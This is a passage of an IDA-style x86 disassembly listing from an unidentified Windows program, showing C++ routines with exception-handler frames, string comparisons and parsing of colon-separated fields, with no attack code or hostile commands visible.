cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413CE0 mov ecx, eax call sub_401F4B jmp short loc_413CE2 ; --------------------------------------------------------------------------- loc_413CE0: ; CODE XREF: sub_413C40+95j xor eax, eax loc_413CE2: ; CODE XREF: sub_413C40+9Ej push offset asc_444C7C ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016B8 mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40202C lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_401488 ; --------------------------------------------------------------------------- inc esi push offset asc_444C7C ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413CC0 loc_413D63: ; CODE XREF: sub_413C40+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413D89: ; CODE XREF: sub_413C40+26j ; sub_413C40+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413C40 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E10 proc near ; CODE XREF: sub_401F4Bj push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_413E10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413E30: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401870 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E70 proc near ; CODE XREF: sub_4018ACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413E70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014D3 mov ecx, ebp call sub_401CE4 xor ebx, ebx cmp eax, ebx jnz loc_41405E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014D3 mov ecx, ebp call sub_402130 mov edi, eax cmp edi, ebx jz loc_41405E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014D3 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_41405E push offset byte_448F40 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413F57 lea ecx, [edi+2Ah] call sub_4017EE lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017EE loc_413F26: ; CODE XREF: sub_413E70+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413F4A cmp cl, bl jz short loc_413F46 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413F4A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F26 loc_413F46: ; CODE XREF: sub_413E70+C0j xor eax, eax jmp short loc_413F4F ; --------------------------------------------------------------------------- loc_413F4A: ; CODE XREF: sub_413E70+BCj ; sub_413E70+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413F4F: ; CODE XREF: sub_413E70+D8j cmp eax, ebx jnz loc_41405E loc_413F57: ; CODE XREF: sub_413E70+A1j push offset byte_448F40 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413FB3 lea ecx, [edi+3Fh] call sub_4017EE lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017EE loc_413F82: ; CODE XREF: sub_413E70+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413FA6 cmp cl, bl jz short loc_413FA2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413FA6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F82 loc_413FA2: ; CODE XREF: sub_413E70+11Cj xor eax, eax jmp short loc_413FAB ; --------------------------------------------------------------------------- loc_413FA6: ; CODE XREF: sub_413E70+118j ; sub_413E70+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413FAB: ; CODE XREF: sub_413E70+134j cmp eax, ebx jnz loc_41405E loc_413FB3: ; CODE XREF: sub_413E70+FAj push 58h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413FD3 mov ecx, eax call sub_401D1B jmp short loc_413FD5 ; --------------------------------------------------------------------------- loc_413FD3: ; CODE XREF: sub_413E70+158j xor eax, eax loc_413FD5: ; CODE XREF: sub_413E70+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40202C mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40202C lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401410 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4140AB ; --------------------------------------------------------------------------- loc_41405E: ; CODE XREF: sub_413E70+44j ; sub_413E70+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4140AB: ; CODE XREF: sub_413E70+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413E70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414160 proc near ; CODE XREF: sub_401D1Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414160 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4141F0: ; CODE XREF: ___:00401DD9j push 0FFFFFFFFh push offset loc_43AF10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401870 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_4018AC mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4142E0 proc near ; CODE XREF: sub_401541j add ecx, 6Ch jmp sub_401C76 sub_4142E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414300 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414300 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_437AEA sub_414300 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414343 mov ecx, eax call sub_401BF4 ; --------------------------------------------------------------------------- jmp short loc_414345 ; --------------------------------------------------------------------------- loc_414343: ; CODE XREF: ___:00414338j xor eax, eax loc_414345: ; CODE XREF: ___:00414341j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40202C mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40202C mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40202C mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40202C lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401F0F ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414430 proc near ; CODE XREF: sub_401BF4j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_40142E lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414430 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4144D0: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_43AFD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4145A0 proc near ; CODE XREF: sub_401DC0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4145A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E38 mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jz short loc_414650 loc_414605: ; CODE XREF: sub_4145A0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_41462D lea ecx, [esp+18h+var_14] call sub_401FC3 mov edx, [eax] mov [esp+18h+var_10], edx loc_41462D: ; CODE XREF: sub_4145A0+7Cj lea ecx, [esp+18h+var_14] call sub_4020C2 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jnz short loc_414605 loc_414650: ; CODE XREF: sub_4145A0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_414698 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_414673 push 1 call sub_4019EC loc_414673: ; CODE XREF: sub_4145A0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_414698: ; CODE XREF: sub_4145A0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4145A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414710 proc near ; CODE XREF: sub_4019ECj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402243 test [esp+4+arg_0], 1 jz short loc_414728 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414728: ; CODE XREF: sub_414710+Dj mov eax, esi pop esi retn 4 sub_414710 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414740 proc near ; CODE XREF: sub_402243j jmp sub_401226 sub_414740 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414760: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_43B020 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_444C7C ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414829 loc_4147C3: ; CODE XREF: ___:00414827j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_444C7C ; ":" push esi push edx call sub_4016B8 mov ecx, ebp call sub_401DC0 cmp al, bl jnz short loc_4147F0 mov [esp+13h], bl loc_4147F0: ; CODE XREF: ___:004147EAj inc esi push offset asc_444C7C ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4147C3 loc_414829: ; CODE XREF: ___:004147C1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4148A0 proc near ; CODE XREF: sub_40212Bj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4148A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017EE test eax, eax jz loc_4149D4 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402275 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_41497E loc_414914: ; CODE XREF: sub_4148A0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B86 test eax, eax jz short loc_41494C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax jnz short loc_41495B loc_41494C: ; CODE XREF: sub_4148A0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41495B: ; CODE XREF: sub_4148A0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414914 loc_41497E: ; CODE XREF: sub_4148A0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_4149D4 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_40214E mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4149A1 push 1 call sub_401708 loc_4149A1: ; CODE XREF: sub_4148A0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_4149D4: ; CODE XREF: sub_4148A0+2Ej ; sub_4148A0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4148A0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A70 proc near ; CODE XREF: sub_401708j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_414A88 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414A88: ; CODE XREF: sub_414A70+Dj mov eax, esi pop esi retn 4 sub_414A70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414AA0 proc near ; CODE XREF: sub_401A6Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_414AA0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414B30: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_43B098 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40212B mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414BC0: ; CODE XREF: ___:00401B45j push 0FFFFFFFFh push offset loc_43B0B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017EE test eax, eax jz loc_414CC7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401992 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jz short loc_414C7F loc_414C34: ; CODE XREF: ___:00414C7Dj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_414C5C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414C5C: ; CODE XREF: ___:00414C4Bj lea ecx, [esp+4] call sub_4018C5 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jnz short loc_414C34 loc_414C7F: ; CODE XREF: ___:00414C32j mov eax, [esp+8] test eax, eax jz short loc_414CC7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414CA2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414CA2: ; CODE XREF: ___:00414C99j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414CC7: ; CODE XREF: ___:00414BEEj ; ___:00414C85j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D40 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B59 sub_414D40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414D58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414D58: ; CODE XREF: ___:00414D4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D70 proc near ; CODE XREF: sub_401B59j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414D70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401582 sub_414D70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E10 proc near ; CODE XREF: sub_4014C9j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414E10 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F0B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014D3 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_448F40 call sub_401870 or ebx, 0FFFFFFFFh mov ecx, offset word_44AC6E mov [esp+88h+var_4], ebx call sub_40212B test al, al jz loc_415040 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019C4 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F0B: ; CODE XREF: sub_414E10+36j lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_415040 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014D3 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014D3 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014D3 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_444600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_444600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_44AC6E mov [esp+0D0h+var_4], ebx call sub_4018AC test al, al jz short loc_415040 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019C4 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_415040: ; CODE XREF: sub_414E10+82j ; sub_414E10+10Dj ... mov 